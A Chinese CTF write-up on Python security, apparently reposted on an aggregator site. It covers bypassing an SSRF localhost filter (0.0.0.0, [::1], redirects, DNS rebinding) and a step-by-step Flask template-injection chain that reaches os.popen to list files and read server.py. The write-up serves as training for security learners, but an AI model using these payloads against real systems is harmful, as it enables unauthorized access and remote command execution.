当前位置: 首页 > news >正文

CTFer成长之路之Python中的安全问题

Python中的安全问题CTF

1.Python里的SSRF

题目提示

尝试访问到容器内部的 8000 端口和 url path /api/internal/secret 即可获取 flag

访问url:

http://f5704bb3-5869-4ecb-9bdc-58b022589224.node3.buuoj.cn/

回显如下:

在这里插入图片描述

通过提示构造payload:

?url=http://127.0.0.1:8000/api/internal/secret

进行访问

在这里插入图片描述

回显提示127.0.0.1是禁止的因为127.0.0.1是本地的地址,提示是说访问容器内部的地址

所以我们可以用0.0.0.0代替127.0.0.1

重新构造payload:

?url=http://0.0.0.0:8000/api/internal/secret

成功得到flag

在这里插入图片描述

其他不同的方式,得多尝试一下,

官方wp

本题有多重解法

- `0.0.0.0:8000` 绕过
- `[::1]:8000` 绕过(需要支持 ipv6)
- 重定向跳转到 `127.0.0.1:8000`
- dns rebinding 输入一个域名,第一次解析到非 `127.0.0.1` 地址上,第二个解析到 `127.0.0.1` 上。

2.python模板注入(SSTI)

访问url,页面回显 password is wrong,但是没有输入密码的地方

在这里插入图片描述

所以从 url 提交

?password={{3*3}}

发现可以识别并且正确回显

在这里插入图片描述

据回显的结果可以判断这是一个flask模板注入

参考

flask之ssti模版注入从零到入门

通过以下语句

/?password={{"".__class__.__bases__[0].__subclasses__()}}

拿到可用的类的列表

在这里插入图片描述

我们需要的是os命令执行类<class ‘os._wrap_close’>

在这里插入图片描述

我们要判断他所属的位置,这样才能进行索引,将全部类复制放到pycharm(与他有同样功能的工具也行),我们索引逗号的位置,我们索引到我们需要类的位置,再在索引他前面逗号的位置,我这里索引的结果是127,如果不对上下浮动几位看一下,大概就这个位置,我这127是正确的,

在这里插入图片描述

我们可以先看一下我们索引的是否正确,输入url

/?password={{"".__class__.__bases__[0].__subclasses__()[127]}}

我这里索引的结果是127,如果不对上下浮动几位看一下,大概就这个位置,我这127是正确的,所以索引结果就是<class ‘os._wrap_close’>

在这里插入图片描述

构造语句,并执行ls命令(对方是Linux服务器,所以要使用Linux命令)

/?password={{"".__class__.__bases__[0].__subclasses__()[127].__init__.__globals__['popen']('ls').read()}}

文件夹如下

在这里插入图片描述

最引起我们注意的就是app这个文件夹

经过一些尝试(目录遍历什么的),我们得知flag就在/app/server.py中,我们直接用cat查看文件内容就行

/?password={{"".__class__.__bases__[0].__subclasses__()[127].__init__.__globals__['popen']('cat /app/server.py').read()}}

成功获取flag

在这里插入图片描述

文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。

免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。

转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。

博客:
https://rdyx0.github.io/先知社区:
https://xz.aliyun.com/u/37846SecIN:
https://www.sec-in.com/author/3097CSDN:
https://blog.csdn.net/weixin_48899364?type=blog公众号:
https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirectFreeBuf:
https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85
http://www.lryc.cn/news/21475.html

相关文章:

  • SpringBoot知识快速复习
  • SpringBoot+React博客论坛系统 附带详细运行指导视频
  • C++ primer 之 extern
  • Linux 练习二 (VIM编辑器 + GCC编译器 + GDB调试)
  • python3 连接数据库 mysql PyMysql
  • 昇腾AI新技能,还能预防猪生病?
  • 模板方法模式(Template Method)
  • C C++ typedef的使用
  • Laravel框架03:DB类操作数据库
  • 数据结构期末复习总结(前章)
  • 设计环形队列
  • 面向对象之-接口鉴权
  • Python 多进程多线程线程池进程池协程
  • 【自然语言处理】基于句子嵌入的文本摘要算法实现
  • fiddler抓包
  • 【Linux】网络套接字编程
  • break与continue关键字
  • kafka使用入门案例与踩坑记录
  • 系统启动太慢,调优后我直呼Nice
  • java知识点
  • 文件的打开关闭和顺序读写
  • (十八)操作系统-进程互斥的软件实现方法
  • 2023年三月份图形化一级打卡试题
  • linux 防火墙管理-firewalld
  • 2023年最新大厂开发面试题(滴滴,华为,京东,腾讯,头条)
  • 2023年三月份图形化三级打卡试题
  • 蓝桥杯算法模板
  • python之并发编程
  • Vue.js自定义事件的使用(实现父子之间的通信)
  • 第12天-商品维护(发布商品、商品管理、SPU管理)